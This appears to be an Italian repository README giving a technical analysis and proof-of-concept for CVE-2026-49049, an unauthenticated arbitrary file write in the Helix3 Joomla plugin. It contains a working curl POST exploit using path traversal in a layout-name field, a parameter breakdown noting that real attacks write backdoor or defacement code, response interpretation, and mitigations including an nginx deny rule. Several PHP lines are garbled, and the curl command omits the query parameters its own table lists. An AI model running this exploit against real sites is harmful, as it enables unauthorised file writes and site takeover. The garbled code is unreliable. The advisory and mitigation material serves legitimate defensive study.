
Analisi tecnica e Proof of Concept (PoC) per CVE-2026-49049, una vulnerabilità di scrittura arbitraria di file senza autenticazione in JoomShaper Helix3 per Joomla, inclusi vettori di sfruttamento e linee guida per la mitigazione.
Il repository contiene materiali, analisi tecnica e Proof of Concept (PoC) per la vulnerabilità critica CVE-2026-49049, individuata nel framework di template obsoleto Helix3 di JoomShaper per il CMS Joomla (versioni dalla 1.0 alla 3.1.0 incluse).
La vulnerabilità è attivamente sfruttata in natura da botnet automatizzati (in particolare, nell'ambito della campagna di defacement AntonKill).
Il problema risiede nel gestore AJAX di sistema di Joomla (com_ajax), che invoca il metodo onAjaxHelix3() nel plugin plg_ajax_helix3. Gli sviluppatori del componente non hanno previsto:
layoutName.public function onAjaxHelix3() {
\$input = Factory::getApplication()->input;
\(data =\)input->post->get('data', [], 'array');
\(action =\)data['action'];
\(layoutName =\)data['layoutName'];
// Отсутствует проверка прав! Отсутствует фильтрация пути!
\$filepath = \(layoutPath .\)layoutName;
switch (\$action) {
case 'save':
// Запись контролируемых данных в произвольную директорию сервера
fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
break;
}
}
Per verificare la vulnerabilità viene utilizzata una richiesta POST con tipo di contenuto application/x-www-form-urlencoded. Questo metodo di imballaggio dei parametri è il più efficace per dimostrare la falla.
curl -sk -X POST \
'https://target.com' \
-d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'
| Parametro | Valore / Esempio | Cosa significa per il server |
|---|---|---|
option | com_ajax | Punto di ingresso in Joomla per elaborare le richieste AJAX. |
plugin | helix3 | Identificatore di sistema che costringe Joomla a passare il controllo al plugin vulnerabile Helix3. |
format | json | Indica al motore di restituire la risposta in formato JSON. |
-d | data[...] | Corpo della richiesta (Form Data), automaticamente interpretato da PHP nell'array globale $_POST. |
data[action] | save | Interruttore switch nel codice. Istruisce il plugin a invocare la funzione di scrittura (creazione) del file. |
data[layoutName] | ../../../../../../../example | Vettore d'attacco chiave (Path Traversal). I caratteri ../ costringono il sistema operativo a uscire dalla cartella isolata del plugin nella directory root del sito. L'estensione .json verrà aggiunta automaticamente dal plugin. |
data[content] | {"probe":"test"} | Carico utile (Payload). Dati testuali che verranno fisicamente scritti all'interno del file creato example.json. Negli attacchi reali qui viene iniettato codice dannoso di defacement o backdoor. |
Durante il test di penetrazione, il server può restituire diversi tipi di risposte. La loro interpretazione è fondamentale:
Risposta del server:
{"success":true,"message":null,"messages":null,"data":[]}
Interpretazione: Il plugin è vulnerabile, non ci sono restrizioni del sistema operativo. Il file è stato creato con successo nella root del sito ed è accessibile all'indirizzo https://target.com. Il sito richiede pulizia e isolamento immediati.
Risposta del server:
{
"success":false,
"message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
"messages":null,
"data":null
}
Interpretazione: Successo parziale. La logica del plugin Helix3 è stata compromessa — ha accettato i dati senza autenticazione e ha tentato di aprire il file in scrittura (fopen). Tuttavia, il sistema operativo Linux ha bloccato questa azione poiché l'utente del server web (ad esempio www-data) non ha i permessi di scrittura nella root del sito.
Risposta del server: Stato 404 Not Found, 403 Forbidden o risposta vuota [].
Interpretazione: Il plugin è stato aggiornato a una versione sicura (3.1.1+), dove è stato aggiunto il controllo di autenticazione, oppure è stato completamente rimosso dal CMS.
plg_ajax_helix3 tramite il pannello di amministrazione di Joomla.if (\(request_method = POST) { set\)test "P"; }
if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
if (\$test = PH) { return 403; }
Disclaimer: Questo materiale è fornito esclusivamente a scopo educativo e per il legittimo audit di sicurezza dei sistemi (Pentesting). L'autore non si assume alcuna responsabilità per l'uso improprio delle informazioni fornite.